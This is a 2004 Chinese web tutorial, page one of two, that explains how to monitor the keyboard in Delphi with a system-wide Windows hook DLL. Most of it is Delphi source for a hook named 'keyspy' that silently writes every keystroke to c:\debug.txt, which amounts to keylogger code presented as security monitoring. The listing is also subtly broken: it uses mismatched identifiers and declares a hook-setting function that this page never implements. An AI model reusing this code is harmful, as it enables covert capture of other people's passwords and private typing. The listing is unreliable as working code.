搜狐首页 - 新闻 - 体育 - 娱乐 - 财经 - IT - 汽车 - 房产 - 女人 - 短信 - 彩信 - 校友录 - 邮件 - 搜索 - BBS - 搜狗 
搜狐首页 >> 搜狐IT >> 网狐教程-搜狐IT >> 程序开发-网狐教程-搜狐IT >> Delphi
利用Hook技术实现键盘监控
IT.SOHU.COM  2004-03-17 12:44  转自: eNet硅谷动力
页面功能 【我来说两句】【我要“揪”错】【推荐】【字体: 】【打印】 【关闭

  在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专 业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利 用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够 很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中 的具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现:

  Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。

  1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过 程。代码如下:

library keyspy;
uses
windows, messages, hookproc in 'hookproc.pas';
exports setkeyhook, endkeyhook;
begin nexthookproc:=0; procsaveexit:=exitproc; exitproc:=@keyhookexit;
end.

  2.在Hookproc.pas中实现了钩子具体过程:
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var nexthookproc:hhook; procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const afilename='c:\debug.txt';//将键盘输入动作写入文件中
var debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end; assignfile(debugfile,afilename); append(debugfile);
if getkeystate(vk_return)<0 then
begin writeln(debugfile,''); write(debugfile,char(wparam));
end
else write(debugfile,char(wparam)); closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0;
messagebeep(0); end; result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end;
end.

[1] [2下一页 
页面功能 【我来说两句】【我要“揪”错】【推荐】【字体: 】【打印】 【关闭





ChinaRen - 繁体版 - 搜狐招聘 - 网站登录 - 帮助中心 - 设置首页 - 广告服务 - 联系方式 - 保护隐私权 - About SOHU - 公司介绍
Copyright © 2004 Sohu.com Inc. All rights reserved. 搜狐公司 版权所有

相关连接

 ■ 我来说两句
用  户:        匿名发出:
请各位遵纪守法并注意语言文明。
 
*经营许可证编号:京ICP00000008号
*《互联网电子公告服务管理规定》
*《全国人大常委会关于维护互联网安全的规定》
短信内容:
手 机
自写包月5分钱/条 更多>>
搜狐天气为你抢先报! 魔力占卜姻缘一线牵!
金币不是赚的是抢的! 爱情玄机任由你游戏!
猪八戒这样泡到紫霞! 帅哥一定要看的宝典!
你受哪颗星星的庇护? 萨达姆最新关押照片!
精彩彩信
[和弦]欧若拉 一生有你
沧海一声笑
[音效]挪威的森林
爆铃 MP3 G点图 动画
[和弦]童话 你到底爱谁
[原唱]一千年以后 断点
[爆笑音效]赚钱拉 野花
[串烧]张韶涵 潘玮柏
精彩短信
[和弦]小薇 好心分手
[音效]当当当当 忘记


搜狐商城
·家电|品牌风扇新品热销
·音乐|秦海璐幸福回味
·图书|《眼镜蛇事件》
更多...